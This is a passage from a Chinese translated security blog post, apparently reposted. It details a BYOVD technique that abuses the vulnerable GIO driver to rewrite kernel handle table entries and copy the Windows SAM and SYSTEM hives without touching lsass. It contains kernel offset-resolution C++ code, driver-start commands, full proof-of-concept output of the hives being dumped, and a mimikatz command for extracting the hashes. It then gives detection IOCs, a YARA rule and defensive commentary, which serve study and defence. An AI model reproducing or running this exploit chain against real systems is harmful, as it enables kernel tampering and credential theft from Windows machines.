return offset;
}
}
printf("[-] Field not found: %s::%s\n", structName, fieldName);
return0;
}
staticboolResolveKernelOffsets(KernelOffsets& out){
// Locate ntoskrnl.exe
char sysDir[MAX_PATH];
if (!GetSystemDirectoryA(sysDir, MAX_PATH)) returnfalse;
char ntosPath[MAX_PATH];
snprintf(ntosPath, MAX_PATH, "%s\\ntoskrnl.exe", sysDir);
printf("[*] Kernel image: %s\n", ntosPath);
// Extract CodeView PDB info from PE debug directory
PdbCodeViewInfo pdbInfo{};
if (!GetPdbInfoFromPE(ntosPath, pdbInfo)) {
printf("[-] Failed to extract CodeView info from PE\n");
returnfalse;
}
// Strip any path prefix from PDB filename (keep leaf only)
char* pdbName = pdbInfo.PdbFileName;
for (int i = static_cast<int>(strlen(pdbInfo.PdbFileName)) - 1; i >= 0; i--) {
if (pdbInfo.PdbFileName[i] == '\\' || pdbInfo.PdbFileName[i] == '/') {
pdbName = &pdbInfo.PdbFileName[i + 1];
break;
}
}
printf("[*] PDB: %s Age: %lu\n", pdbName, pdbInfo.Age);
// Local cache path: %TEMP%\<pdbname>
char tempDir[MAX_PATH];
GetTempPathA(MAX_PATH, tempDir);
char localPdb[MAX_PATH];
snprintf(localPdb, MAX_PATH, "%s%s", tempDir, pdbName);
// Validate cached PDB by checking its MSF stream-1 GUID
bool needDownload = true;
DWORD attr = GetFileAttributesA(localPdb);
if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY)) {
GUID cachedGuid{};
if (ExtractGuidFromPdb(localPdb, cachedGuid) && IsEqualGUID(cachedGuid, pdbInfo.Guid)) {
printf("[+] Valid cached PDB: %s\n", localPdb);
needDownload = false;
}
else {
printf("[*] Cached PDB GUID mismatch, re-downloading\n");
}
}
if (needDownload) {
wchar_t pdbNameW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, pdbName, -1, pdbNameW, MAX_PATH);
if (!DownloadPdb(pdbInfo.Guid, pdbInfo.Age, pdbNameW, localPdb)) {
printf("[-] Failed to download PDB\n");
returnfalse;
}
}
// Initialize DbgHelp and load the PDB
SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS);
// Use a unique fake handle so DbgHelp doesn't collide with any real process
HANDLE hSym = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(0xDEAD1234));
if (!SymInitialize(hSym, nullptr, FALSE)) {
printf("[-] SymInitialize failed (0x%lX)\n", GetLastError());
returnfalse;
}
wchar_t localPdbW[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, localPdb, -1, localPdbW, MAX_PATH);
const DWORD64 kFakeBase = 0x10000000ULL;
DWORD64 modBase = SymLoadModuleExW(hSym, nullptr, localPdbW, nullptr,
kFakeBase, 0, nullptr, 0);
if (modBase == 0) {
DWORD err = GetLastError();
if (err != ERROR_SUCCESS) {
printf("[-] SymLoadModuleExW failed (0x%lX)\n", err);
SymCleanup(hSym);
returnfalse;
}
modBase = kFakeBase; // already loaded
}
printf("[+] PDB loaded at base 0x%llX\n", modBase);
// Resolve EPROCESS field offsets
out.ObjectTable = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ObjectTable");
out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
//out.PsInitialSystemProcess = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "PsInitialSystemProcess");
out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");
out.ObHeaderCookie = ResolveSymbolRva(hSym, modBase, "ObHeaderCookie");
SymUnloadModule64(hSym, modBase);
SymCleanup(hSym);
return1;
}
概念验证
先启动漏洞驱动服务:
scstart gdrv
然后直接跑二进制:
[*] Kernel image: C:\WINDOWS\system32\ntoskrnl.exe
[*] PDB: ntkrnlmp.pdb Age:1
[+] Valid cached PDB: C:\Users\s12de\AppData\Local\Temp\ntkrnlmp.pdb
[+] PDB loaded at base 0x10000000
[+] Offsets OK | ObjectTable:0x300
[+] ntoskrnl:0xFFFFF804D0E00000
PsInitialSystemProcess address fffff804d1dc6af0
System EPROCESS: ffffc108516ae040
System PID:4
EPROCESS found: ffffc1085a2af080
[+] hVictim:0x00000000000000D0
[+] TableBase:0xFFFFD68F543DC000
[+] Entry:0xFFFFD68F543DC340
[+] Original LowQword:0xC1085E9379B00001
Copying SAM
[+] File ObjectTypeIndex:42
[+] Found!PID:4 | Object: FFFFC108558D6580 | Name: \Windows\System32\config\SAM
[debug] total File handles checked:32
[+] FILE_OBJECT: FFFFC108558D6580
[+] Original lowQword: C1085E9379B00001
[+] New lowQword: C108558D65500001
Write primitive sent successfully. Bytes returned:0
[+] LowQword patched
[+] Handle resolves to: \\?\C:\Windows\System32\config\SAM
[*] EOF at offset 0x20000 | err:380x20000 | chunk 65536 | total 131072
[+] Done: C:\Users\Public\SAM.bak =131072 bytes
Write primitive sent successfully. Bytes returned:0
[+] LowQword restored
Copying SYSTEM
[+] File ObjectTypeIndex:42
[+] Found!PID:4 | Object: FFFFC108580B6A30 | Name: \Windows\System32\config\SYSTEM
[debug] total File handles checked:9
[+] FILE_OBJECT: FFFFC108580B6A30
[+] Original lowQword: C1085E9379B00001
[+] New lowQword: C108580B6A000001
Write primitive sent successfully. Bytes returned:0
[+] LowQword patched
[+] Handle resolves to: \\?\C:\Windows\System32\config\SYSTEM
[*] EOF at offset 0xE80000 | err:38et 0xE80000 | chunk 65536 | total 15204352
[+] Done: C:\Users\Public\SYSTEM.bak =15204352 bytes
Write primitive sent successfully. Bytes returned:0
[+] LowQword restored
然后打开 mimikatz,把两个文件都传给 dump 命令:
mimikatz # lsadump::sam /system:C:\Users\Public\SYSTEM.bak /sam:C:\Users\Public\SAM.bak
结果如下:
检测
失陷指标(IOC):
漏洞驱动加载:Sysmon EID 6 会在驱动镜像加载时按已知恶意哈希触发告警。这是最早的信号,早于任何句柄操作。
_HANDLE_TABLE_ENTRY.LowQword 在 ObpCreateHandle 之外被修改:需要带异步句柄表扫描的内核完整性监控。
File 句柄解析出的路径与打开时不一致:EDR 行为检测——对比 OpenFile 时的路径与 I/O 发生时经 _FILE_OBJECT 解析出的路径。一个对 notepad.exe 打开的句柄突然从 \Windows\System32\config\SAM 读数据,就是行为异常。
YARA
一条检测该技术的 YARA 规则:
rule FileHandleRedirect_CredDump
{
meta:
author ="0x12 Dark Development"
description ="Detects binaries implementing File handle redirect for credential access"
reference ="https://0x12darkdev.net"
severity ="critical"
strings:
// Handle table navigation constants
$tableCode_mask= { 4883E? F8 } // tableCode & ~0x3
$entry_calc= { C1E? 02 6B ??10 } // (handle/4)*16
// _FILE_OBJECT.FileName offsets
$fname_off1= { 66 8B 4?58 } // mov cx, [rX+0x58] (Length)
$fname_off2= { 48 8B 4?60 } // mov rcx, [rX+0x60] (Buffer)
// NtQuerySystemInformation class 0x10
$sysinfo= { B910000000 }
// SAM/SYSTEM hive paths
$sam="\\config\\SAM" ascii wide nocase
$system="\\config\\SYSTEM" ascii wide nocase
// OVERLAPPED I/O pattern
$overlapped="ReadFile" ascii
condition:
uint16(0) ==0x5A4D and
$sysinfo and
($sam or $system) and
$overlapped and
(2 of ($tableCode_mask, $entry_calc, $fname_off1, $fname_off2))
}
作者的 YARA 规则合集:https://github.com/S12cybersecurity/YaraRules
结论
文件句柄重定向是一种完全在内核句柄表内运作的凭据访问原语——没有对 lsass 的 OpenProcess,没有 MiniDump,没有 Volume Shadow Copy,也没有注册表 API。
这项技术证明:Windows 里句柄的语义完全由 _HANDLE_TABLE_ENTRY 的内容定义,而与最初那次 OpenProcess 或 CreateFile 调用无关。
译者解读
一、「绕开 lsass」还能再绕一步。 本仓库此前译介的转储路线基本都在 lsass 上做文章:comsvcs.dll 直接调 MiniDump(Head Mare 篇),TrickDump 用纯 NTAPI 分片读内存,DEF CON 34 工坊用 BYOVD 清掉 lsass 的 PS_PROTECTION 再上 nanodump。本文干脆不碰 lsass。SAM hive 虽然被 lsass 独占,但「锁」的语义只存在于打开文件那一刻的共享检查里;内核里只要有一个指向它 _FILE_OBJECT 的合法句柄,读写走的还是缓存管理器既有的数据通路。检测面因此从「盯 lsass 访问」变成「盯句柄表完整性」,后一个位置对防御者苛刻得多。
二、写原语的门槛与形态。 BYOVD 是本仓库的老熟人(当猎手沦为猎物、DEF CON 34、ErrTraffic 与 Cruciferra、打碎求职梦、HoneyMyte——不同形态的「签名驱动滥用」)。本文用的 GIO 驱动在 LOLDrivers 有登记(DrvOps.h 注释里那条 loldrivers.io 链接),IOCTL 0xC3502808 提供内核任意读写。一个顺手的细节:它只改 LowQword、不碰 HighQword,GrantedAccess 沿用 notepad.exe 句柄原有的 GENERIC_READ,不需要伪造访问权限,句柄的授权面始终「合法」。另外 offsets 不是硬编码的,GetOffsets.h 从微软符号服务器拉 PDB、经 DbgHelp 动态解析 _EPROCESS 字段偏移,呼应了 HoneyMyte 篇「动态定位偏移是对硬编码 DKOM 的实战修正」:如今的内核攻击默认字段偏移会随版本漂移。
三、检测侧真正可靠的是哪一层。 原文列的三个 IOC 里,Sysmon EID 6 驱动加载告警是最扎实的一层,手法再花哨,漏洞驱动总得先落地;这层的短板是哈希库覆盖时滞,ErrTraffic 篇的 DCRCVDrv.sys 未被收录就是例证。第三层「句柄解析路径漂移」是行为检测里最有意思的一层:GetFinalPathNameByHandleW 的验证输出恰好演示了这个信号,句柄打开时是 notepad.exe,I/O 时解析到 \Windows\System32\config\SAM。至于第二层「LowQword 在 ObpCreateHandle 之外被改」的内核完整性监控,现实里几乎没有产品做到连续扫描,属于理想态。防御者的务实结论仍是老三样:HVCI + 微软漏洞驱动屏蔽列表及时更新 + 把驱动加载事件当高优先级信号。
四、一点边界说明。 PoC 里 GetFinalPathNameByHandleW 每次重定向后都成功解析到 SAM 路径,说明读的是 lsass 持有的同一 _FILE_OBJECT(缓存管理器视图),因此拷出的 hive 是一致快照——这也是 mimikatz 能直接离线解哈希的前提。但该前提依赖 hive 恰好已被 System 进程(PID 4,输出里 Found! PID: 4)以可共享读的方式持有;若目标环境 hive 打开方式不同,句柄枚举这一步可能找不到现成 _FILE_OBJECT。另外 DOMAIN 环境下本地 SAM 只有本机账户,域凭据仍在 lsass 内存里。这条路转的是本地账户库,全域凭据还得上 lsass 里去找。
参考资源
- 原文:Credential Dumping via File Handle Redirection:https://medium.com/@s12deff/credential-dumping-via-file-handle-redirection-b2fe15b61181
- 前作 Handle Redirect:https://medium.com/@s12deff/handle-redirect-549902e6d868
- 作者 YARA 规则合集(S12cybersecurity/YaraRules):https://github.com/S12cybersecurity/YaraRules
- 所用漏洞驱动(LOLDrivers 收录页):https://www.loldrivers.io/drivers/2bea1bca-753c-4f09-bc9f-566ab0193f4a/
- 作者课程站(原文内嵌推广):https://0x12darkdev.net
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:赛博生存指南 S12 S12《文件句柄重定向:BYOVD 改写内核句柄表,不碰 lsass 直接拷走 SAM》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论